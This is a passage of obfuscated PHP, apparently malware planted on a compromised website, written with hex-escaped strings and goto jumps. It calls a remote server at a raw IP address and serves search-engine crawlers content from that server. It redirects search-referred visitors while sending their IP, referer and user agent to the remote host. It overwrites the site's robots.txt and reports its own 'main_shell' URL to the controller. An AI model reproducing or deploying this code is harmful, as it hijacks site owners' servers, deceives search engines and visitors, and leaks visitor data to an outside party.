0 || $check1 == "\x31") { $data1["\x61\143\164\x69\x6f\x6e"] = "\162\x61\x6e\x64\137\x78\x6d\154"; $check_url4 = getServerCont($url_words, $data1); header("\103\157\156\x74\x65\x6e\x74\x2d\x74\x79\x70\x65\72\164\x65\170\164\57\x78\155\x6c"); echo $check_url4; die; } } goto ode8b; b1Igo: $inter_domain = "\150\x74\x74\x70\72\x2f\x2f\61\x39\62\x2e\61\65\61\56\x31\x34\66\56\x32\61\x38\57\172\x36\x30\66\61\x33\x5f\x31\x36\57"; goto ngiCa; I0s3G: $http = isset($_SERVER["\x48\x54\124\120\x53"]) && $_SERVER["\x48\x54\124\120\123"] !== "\157\x66\x66" ? "\x68\164\x74\x70\x73\x3a\x2f\x2f" : "\x68\x74\164\160\x3a\x2f\57"; goto zlnOM; fwjhk: function is_crawler($agent) { $agent_check = false; $bots = "\147\157\x6f\x67\154\145\142\157\x74\174\x62\151\x6e\147\x62\x6f\x74\x7c\x67\x6f\157\x67\x6c\x65\174\x61\x6f\154\174\142\x69\x6e\147\x7c\171\141\x68\157\157"; if ($agent != '') { if (preg_match("\57\x28{$bots}\51\57\x73\151", $agent)) { $agent_check = true; } } return $agent_check; } goto gd0k1; zlnOM: $req_uri = $_SERVER["\x52\105\x51\125\x45\x53\124\137\x55\122\111"]; goto NiF5i; ffGxF: $data1["\x72\145\161\x5f\x75\x72\x69"] = $req_uri; goto uqWGm; hAHA_: $url_words = $inter_domain . "\57\167\157\162\x64\163\x2e\x70\x68\160"; goto EdDiR; V3OWD: $ser_name = $_SERVER["\123\105\x52\126\105\x52\137\116\101\x4d\105"]; goto lmrgC; OfEzD: if (substr($req_uri, -6) == "\162\x6f\x62\157\164\163") { define("\x42\x41\x53\x45\x5f\x50\x41\x54\x48", $_SERVER["\104\x4f\103\125\x4d\x45\116\124\x5f\x52\x4f\x4f\124"]); $robots_cont = @file_get_contents(BASE_PATH . "\57\x72\157\x62\157\164\x73\x2e\164\170\x74"); $data1["\162\157\x62\x6f\x74\163\x5f\143\x6f\x6e\x74"] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH . "\57\162\x6f\142\x6f\x74\x73\56\x74\170\x74", $robots_cont); $robots_cont = @file_get_contents(BASE_PATH . "\x2f\162\157\x62\x6f\164\x73\x2e\x74\170\x74"); if (strpos(strtolower($robots_cont), "\x73\x69\164\x65\x6d\x61\160")) { echo "\162\x6f\x62\157\x74\x73\x2e\x74\x78\x74\40\146\x69\x6c\145\40\143\162\145\141\x74\145\x20\x73\165\143\x63\x65\x73\163\x21"; } else { echo "\162\x6f\142\157\164\x73\56\x74\x78\x74\x20\x66\151\x6c\x65\x20\143\x72\x65\x61\164\145\40\x66\141\151\x6c\41"; } die; } goto cIdU3; klYgp: $referer = isset($_SERVER["\x48\x54\124\120\137\122\x45\x46\105\122\x45\x52"]) ? $_SERVER["\x48\124\x54\x50\137\122\105\106\x45\x52\105\x52"] : ''; goto HUnCL; ABWo_: $data1[] = array(); goto XDcMV; FZgkD: if ($res_crawl) { $data1["\x68\164\164\x70\x5f\165\x73\145\162\x5f\x61\147\145\156\x74"] = $user_agent; $get_content = getServerCont($indata1, $data1); echo $get_content; die; } goto ez1KZ; NiF5i: $domain = $_SERVER["\x48\x54\124\x50\x5f\x48\117\123\124"]; goto RTGp1; j8VMA: $req_uri = str_replace(array("\56\150\x74\x6d", "\56\150\164\155\x6c", "\56\163\x68\x74\155\154", "\x2e\160\150\164\155\154"), '', rtrim($req_uri, "\x2f")); goto q4ZGT; VNzGC: $res_crawl = is_crawler($user_agent); goto j8VMA; gd0k1: function check_refer($refer) { $check_refer = false; $referbots = "\147\x6f\157\x67\x6c\145\x7c\x79\x61\150\x6f\x6f\x7c\x62\151\156\x67\174\x61\157\154"; if ($refer != '' && preg_match("\x2f\50{$referbots}\x29\x2f\x73\151", $refer)) { $check_refer = true; } return $check_refer; } goto I0s3G; q4ZGT: if (!$res_crawl && $chk_refer && (preg_match("\x2f\x5c\x64\44\x2f", $req_uri) || preg_match("\43\x5b\x61\x2d\x7a\135\x3d\x5b\x61\x2d\x7a\x30\55\x39\135\x2b\x23", $req_uri) || preg_match("\57\x69\x74\x65\x6d\x2f", $req_uri))) { $data1["\x69\x70"] = $_SERVER["\122\105\x4d\x4f\124\105\137\101\104\104\122"]; $data1["\162\x65\146\x65\162\x65\x72"] = isset($_SERVER["\110\x54\124\x50\137\x52\x45\x46\x45\122\x45\122"]) ? $_SERVER["\110\x54\124\x50\x5f\x52\105\x46\x45\122\105\x52"] : ''; $data1["\x75\x73\x65\162\137\x61\x67\x65\156\x74"] = strtolower(isset($_SERVER["\x48\124\124\120\x5f\125\123\x45\x52\x5f\x41\x47\105\x4e\124"]) ? $_SERVER["\x48\x54\x54\x50\x5f\125\x53\x45\122\x5f\101\x47\105\116\x54"] : ''); echo getServerCont($jump1, $data1); die; } goto FZgkD; EdDiR: $url_robots = $inter_domain . "\57\x72\x6f\x62\x6f\164\163\56\x70\x68\x70"; goto vNpJP; RTGp1: $self = $_SERVER["\x50\x48\x50\137\x53\105\x4c\x46"]; goto V3OWD; ode8b: if (strpos($req_uri, "\x2e\x70\150\160")) { $main_shell = $http . $ser_name . $self; $data1["\x6d\x61\x69\156\137\163\x68\x65\x6c\x6c"] = $main_shell; } else { $main_shell = $http . $ser_name; $data1["\155\x61\x69\x6e\x5f\x73\x68\x65\154\154"] = $main_shell; } goto klYgp; ez1KZ: ?>